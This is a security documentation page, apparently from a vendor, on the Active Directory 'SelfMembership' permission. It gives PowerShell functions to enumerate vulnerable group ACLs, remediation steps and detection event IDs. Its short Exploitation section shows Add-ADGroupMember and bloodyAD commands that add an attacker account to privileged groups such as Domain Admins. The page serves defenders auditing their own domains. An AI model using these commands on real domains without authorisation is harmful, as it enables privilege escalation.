> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/ad/selfmembership.md).

# SelfMembership

## Summary

|                            |                                      |
| -------------------------- | ------------------------------------ |
| **FSProtect ACL Alias**    | SelfMembership                       |
| **AD Alias**               | Add/remove self from member          |
| **Affected Object Types**  | Groups                               |
| **Exploitation Certainty** | Certain                              |
| **AD Attribute**           | Member                               |
| **AD Attribute Guid**      | bf9679c0-0de6-11d0-a285-00aa003049e2 |
| **AD Right**               | Self                                 |

## Description

The `SelfMembership` permission allows a user to add themself as a member of a group in Active Directory, facilitating streamlined group management within the directory hierarchy. This permission operates as a `Self` access right on the target's `member` attribute.

However, if misconfigured, this permission can introduce a security risk. An attacker can leverage the `SelfMembership` permission via the `Add-ADGroupMember` command to add themself to a domain group, thereby gaining unauthorized access. Exploiting this vulnerability could allow for privilege escalation and persistent access within the system.

## Identification

### PowerShell

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `SelfMembership` entries.

**1.** Find-SelfMembership Function

```powershell
function Find-SelfMembership {
    [CmdletBinding()]
    param ([string]$Target,[string]$SearchBase = $null,[string]$OutputPath  = "SelfMembershipAcls.csv")
    Import-Module ActiveDirectory -ErrorAction Stop
    Write-Host "Gathering Active Directory ACLs for explicit Self permissions on the 'member' attribute..."
    $AccessControlType              = [System.Security.AccessControl.AccessControlType]::Allow
    $ActiveDirectoryRights          = [System.DirectoryServices.ActiveDirectoryRights]::Self
    $MemberAttributeGuid            = "bf9679c0-0de6-11d0-a285-00aa003049e2"
    if ($Target) {
        Write-Host "Filtering to group '$Target'..."
        try {
            $objectsToScan = @(
                Get-ADGroup -Identity $Target `
                            -Properties nTSecurityDescriptor `
                            -ErrorAction Stop
            )
        }
        catch {
            Write-Error "Failed to retrieve group '$Target': $($_.Exception.Message)"
            return
        }
    }
    else {
        $adGroupParams = @{
            Filter       = "*"
            Properties   = "nTSecurityDescriptor"
            ErrorAction  = "Stop"
        }
        if ($SearchBase) {
            $adGroupParams["SearchBase"] = $SearchBase
            Write-Host "Searching for all group objects within '$SearchBase'..."
        }
        else {Write-Host "Searching for all group objects in the domain..." }
        try {$objectsToScan = Get-ADGroup @adGroupParams }
        catch {
            Write-Error "Failed to retrieve Active Directory objects: $($_.Exception.Message)"
            return
        }
    }
    if (-not $objectsToScan) {
        Write-Output "No group objects found matching the criteria."
        return
    }
    $foundAcls = foreach ($obj in $objectsToScan) {
        $dn = $obj.DistinguishedName
        try {
            $acl = Get-Acl -Path "AD:$dn"
            foreach ($ace in $acl.Access) {
                if (
                    $ace.AccessControlType -eq $AccessControlType -and
                    $ace.ActiveDirectoryRights -band $ActiveDirectoryRights -and
                    $ace.ObjectType -eq $MemberAttributeGuid -and
                    -not $ace.IsInherited
                ) {
                    [PSCustomObject]@{
                        Group   = $dn
                        Trustee = $ace.IdentityReference.Value
                    }
                }
            }
        }
        catch {Write-Warning "Could not retrieve ACL for '$dn': $($_.Exception.Message)" }
    }
    if ($foundAcls) {
        $count = $foundAcls.Count
        Write-Host "Found $count group object(s) with explicit Self permissions on 'member'."
        try {
            $foundAcls | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Host "Results exported to '$OutputPath'."
        }
        catch {  Write-Error "Failed to export to CSV '$OutputPath': $($_.Exception.Message)" }
    } else { Write-Output "No explicit Self-member ACLs found on any scanned group."}
}
```

**2.** Scan all domain groups in the domain

```powershell
Find-SelfMembership
```

**3.** Scan specific group

```powershell
Find-SelfMembership -Target "Backup Operators"
```

**4.** Using `SearchBase` to limit the searching scope

```powershell
Find-SelfMembership -SearchBase "CN=Users,DC=Forestall,DC=Labs"
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `SelfMembership` entries without relying on any external modules or dependencies.

**1.** Find-SelfMembershipSimple Function

```powershell
function Find-SelfMembershipSimple {
    [CmdletBinding()]
    param([string]$Target= $null, [string]$SearchBase= $null,  [string]$OutputPath= "SelfMembershipAcls.csv" )
    $memberGuid = [guid]"bf9679c0-0de6-11d0-a285-00aa003049e2"
    if ($Target) {
        Write-Verbose "Binding directly to object: $Target"
        try {$entries = @( New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target") ) }
        catch {
            Write-Error "Failed to bind to '$Target': $_"
            return }
    }
    else {
        Write-Verbose "Binding to RootDSE..."
        try {
            $root      = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")
            $baseDN    = $root.Properties["defaultNamingContext"].Value
            $ldapPath  = if ($SearchBase) { "LDAP://$SearchBase" } else { "LDAP://$baseDN" }
            $searchRoot= New-Object System.DirectoryServices.DirectoryEntry($ldapPath)
            Write-Verbose "Searching for all group objects under $ldapPath..."
            $searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
            $searcher.Filter           = "(objectCategory=group)"
            $searcher.PageSize         = 1000
            [void]$searcher.PropertiesToLoad.Add("distinguishedName")
            $hits = $searcher.FindAll()
            Write-Verbose "Found $($hits.Count) group(s)."
        }
        catch {
            Write-Error "LDAP enumeration failed: $_"
            return
        }
        $entries = foreach ($hit in $hits) {
            try { $hit.GetDirectoryEntry() }
            catch { Write-Warning "Could not bind entry: $_"; continue }
        }
    }
    $found = foreach ($entry in $entries) {
        $dn = $entry.distinguishedName
        Write-Verbose "Checking ACLs on: $dn"
        try {
            $acl  = $entry.ObjectSecurity
            $aces = $acl.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])
        }
        catch {
            Write-Warning "Could not read ACL for $dn : $_"
            continue
        }
        foreach ($ace in $aces) {
            if (
                $ace.AccessControlType       -eq [System.Security.AccessControl.AccessControlType]::Allow -and
                ($ace.ActiveDirectoryRights -band [System.DirectoryServices.ActiveDirectoryRights]::Self) -and
                ($ace.ObjectType           -eq $memberGuid) -and
                (-not $ace.IsInherited)
            ) {
                $who = try {
                    $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value
                } catch {
                    $ace.IdentityReference.Value
                }
                [PSCustomObject]@{
                    Group   = $dn
                    Trustee = $who
                }
            }
        }
    }
    if ($found) {
        $found | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
        Write-Host "Exported $($found.Count) entr$(if($found.Count -eq 1){'y'}else{'ies'}) to $OutputPath"
    }
    else { Write-Host "No 'member' Self ACLs found."}
}
```

**2.** Scan all domain groups in the domain

```powershell
Find-SelfMembershipSimple
```

**3.** Scan a specific group

```powershell
Find-SelfMembershipSimple -Target "CN=Backup Operators,CN=Builtin,DC=forestall,DC=labs"
```

**4.** Using `SearchBase` to limit the searching scope

```powershell
Find-SelfMembershipSimple -SearchBase "CN=Builtin,DC=forestall,DC=labs"
```

### Active Directory Users and Computers

**1.** Open `Active Directory Users and Computers` on your Windows server.

**2.** Right-click on the group name.

**3.** Select Properties from the context menu.

**4.** In the Properties window, navigate to the Security tab.

**5.** Click on the Advanced button to open the Advanced Security Settings dialog.

**6.** In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

**7.** Click Edit to modify the selected ACE.

**8.** In the permissions list, locate and check the option `Add/remove self from member` Permission.

**9.** Click OK to save your changes and close the dialogs.

![ADUC](/files/afcbDjKDYMfOXpKge3mh)

## Exploitation

### Windows

an attacker can add itself to a group with this cmdlet.

```powershell
Add-ADGroupMember -Identity "<Vulnerable Group>" -Members "<yourself>"
```

Example:

```powershell
Add-ADGroupMember -Identity 'Domain Admins' -Members 'Attacker'
```

![Add member using ad module](/files/uTYnddOFc7ZI1HgB8ohe)

### Linux

Add self to group using `bloodyAD`

```bash
bloodyAD --host <dchost> -d <domain> -u <user>> -p '<pass>' add groupMember "<target group>" <user>
```

Example:

```bash
bloodyAD --host FSDC01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' add groupMember "Account Operators" adam
```

![BloodAd Add Memeber](/files/o3h1G4oTgmGrBVmYHvkQ)

## Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

**1.** Open `Active Directory Users and Computers`, and activate `Advanced Features` option.

**2.** Double click the affected object and open `Security` tab.

**3.** In this tab, click `Advanced` button and open the dangerous Access Control Entry.

**4.** Remove the rights that are marked as dangerous.

**5.** Click OK and Apply buttons for saving changes.

![ADUC](/files/afcbDjKDYMfOXpKge3mh)

## Detection

Adding new Access Control Entries on the Active Directory objects changes the `ntSecurityDescriptor` attribute of the objects themselves. These changes can be detected with Event IDs 5136 and 4662.. Adding new members to security groups in Active Directory changes the `member` attribute of the groups themselves. These changes can be detected with the 4756, 4728, and 4732 Event IDs to identify potentially risky group modifications.

| Event ID | Description                                              | Fields/Attributes                                   | References                                                                                                                                          |
| -------- | -------------------------------------------------------- | --------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| 5136     | A directory service object was modified.                 | ntSecurityDescriptor                                | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136>                                                          |
| 4662     | An operation was performed on an object.                 | AccessList, AccessMask                              | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662>                                                          |
| 4756     | A member was added to a security-enabled universal group | Member, TargetUserName, SubjectUserName, MemberName | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/audit-security-group-management> |
| 4728     | A member was added to a security-enabled global group    | Member, TargetUserName, SubjectUserName, MemberName | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/audit-security-group-management> |
| 4732     | A member was added to a security-enabled local group     | Member, TargetUserName, SubjectUserName, MemberName | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732>                      |

## References

* [Active Directory DACL (The Hacker Recipes)](https://www.thehacker.recipes/ad/movement/dacl/)
* [Abusing ACL Misconfigurations (Redfox Security Blog)](https://redfoxsec.com/blog/abusing-acl-misconfigurations/)
* [ACL Persistence Abuse (HackTricks)](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse)
* [Abusing Active Directory ACLs & ACEs (ired.team)](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
